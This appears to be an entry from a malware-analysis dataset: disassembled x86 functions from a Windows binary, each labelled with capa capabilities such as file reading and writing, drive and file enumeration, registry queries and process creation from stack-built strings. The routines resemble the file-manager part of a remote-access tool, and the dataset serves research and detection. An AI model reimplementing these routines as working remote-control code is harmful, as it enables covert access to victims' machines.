joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5946de0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push ebx
push esi
mov ebx, ecx
lea esi, [eax + 4]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
inc edi
je 0x5946fa3
push ebp
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, edi
mov ebp, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov ecx, edx
and ecx, 3
lea eax, [esp + 0x10]
push 0x104
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x5967578
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop ebp
je 0x5946f97
push 0
push 0x80
push 3
push 0
push 0
lea ecx, [esp + 0x20]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [ebx + 0x128], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [ebx + 0x130], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x130]
lea edx, [ebx + 0x134]
push 0
push edx
mov edx, dword [ebx + 0x128]
push ecx
push eax
push edx
mov dword [ebx + 0x12c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebx + 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebx + 0x130]
mov edx, dword [ebx + 0x12c]
push ecx
push edx
call fcn.05946b10
mov eax, dword [ebx + 0x12c]
push eax
call fcn.05946340
add esp, 0xc
mov dword [0x5969ccc], eax
test eax, eax
je 0x5946f97
push str.Main
push eax
call fcn.059467c0
mov esi, eax
add esp, 8
test esi, esi
je 0x5946f79
push 0x9a
mov ecx, ebx
call fcn.059489c0
mov ecx, dword [esp + 0x114]
mov edx, dword [0x596763c]
push ecx
push edx
push 0x5969cd4
call esi
add esp, 0xc
mov eax, dword [0x5969ccc]
test eax, eax
je 0x5946fa3
push eax
call fcn.05946340
add esp, 4
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
push 0x98
mov ecx, ebx
call fcn.059489c0
pop edi
pop esi
pop ebx
add esp, 0x104
ret 4
Function at 0x5946fb0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x11c
push ebx
push ebp
mov ebp, dword [esp + 0x128]
push esi
mov ebx, ecx
push edi
mov eax, dword [ebp]
mov ecx, dword [ebp + 4]
lea edx, [esp + 0x28]
push 0x104
push edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x5967578
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push 2
lea eax, [esp + 0x3c]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [esp + 0x18]
lea ecx, [esp + 0x10]
push 0
mov esi, eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x134]
lea edx, [esp + 0x14]
push 0
add eax, 0xfffffff8
push edx
add ebp, 8
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x1c], 0x70
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1d], ecx
add edx, edi
push 9
push eax
mov ecx, ebx
mov dword [esp + 0x29], edx
call fcn.0594bd70
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 8
Function at 0x59470e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push ebx
xor eax, eax
push ebp
mov ebx, ecx
push esi
mov dword [esp + 0xc], eax
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], eax
push 0x104
push ecx
mov byte [esp + 0x20], al
mov byte [esp + 0x18], 0x70
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x5967578
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x59471a0
mov dword [ebx + 0x120], esi
mov dword [ebx + 0x124], esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push 9
push ecx
mov ecx, ebx
call fcn.0594bd70
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
Function at 0x5947fa0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5960600
push 0x5959b28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x59480fd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x594804c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x594804c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x5948027
cmp al, 0x5c
je 0x5948027
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x594800f
cmp byte [esi], 0
je 0x5948030
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x5948045
cmp al, 0x5c
je 0x5948045
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x594802d
cmp byte [esi], 0
je 0x594806b
jmp 0x5948067
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x594806b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x594806b
cmp al, 0x5c
jne 0x594806b
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x59480c1
cmp al, 0x5c
jne 0x59480b3
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x59480a6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x59480b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x59480b0
push edi
jmp 0x59480f4
and eax, 0x10
cmp al, 0x10
je 0x59480b0
push edi
jmp 0x59480f4
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x5948071
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x5948120
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x5948165
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x5948192
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x5948211
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x59675b8
push edx
call esi
add esp, 8
test eax, eax
jne 0x594828e
lea eax, [esp + 0x6c]
push 0x59675b4
push eax
call esi
add esp, 8
test eax, eax
jne 0x594828e
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x59675b0
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x594829d
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x59482c5
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8
Function at 0x5948300
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x594849d
push esi
push edi
jmp 0x594835a
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x594840c
cmp al, 0x42
je 0x594840c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x594840c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.05959b30
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.05959b30
mov dword [esp + 0x10], eax
jmp 0x5948412
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x5948358
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.0594bd70
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x59484c0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x5948543
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.0594bd70
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x5948553
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x5948573
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x59675d8
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x59485a4
test al, al
je 0x59485a0
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x59485a4
add esi, 2
add edi, 2
test al, al
jne 0x594857c
xor eax, eax
jmp 0x59485a9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x5948643
mov edi, 0x59675d4
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x59485e2
test al, al
je 0x59485de
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x59485e2
add esi, 2
add edi, 2
test al, al
jne 0x59485ba
xor eax, eax
jmp 0x59485e7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x5948643
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x594854f
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.0594bd70
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x5948770
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push 0x80000000
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x59487d4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.0594bd70
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4

Function at 0x5948870
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x594888e
call fcn.05948950
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x59488b9
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x5948931
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.0594bd70
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.05948950
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x5948fc0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.0594bd70
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x594a020
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x594a03e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x594a03e
xor eax, eax
ret
mov eax, 1
ret

Function at 0x594a110
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x64
push esi
push edi
mov edi, dword [esp + 0x70]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x594a132
pop edi
xor al, al
pop esi
add esp, 0x64
ret
push esi
push edi
call fcn.05959460
add esp, 8
test al, al
jne 0x594a146
pop edi
pop esi
add esp, 0x64
ret
mov cl, 0x74
mov al, 0x61
mov byte [esp + 0xc], cl
mov byte [esp + 0xd], al
mov byte [esp + 0x13], al
mov byte [esp + 0x16], cl
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
mov edx, 0x44
rep stosd dword es:[edi], eax
mov byte [esp + 0x10], dl
mov dword [esp + 0x28], edx
lea ecx, [esp + 0x18]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x28]
push str.UMsmdjf
push esi
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x36], 0x30
mov byte [esp + 0x37], 0x5c
mov byte [esp + 0x39], 0x65
mov byte [esp + 0x3a], 0x66
mov byte [esp + 0x3c], 0x75
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3f], 0
mov dword [esp + 0x58], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x64
ret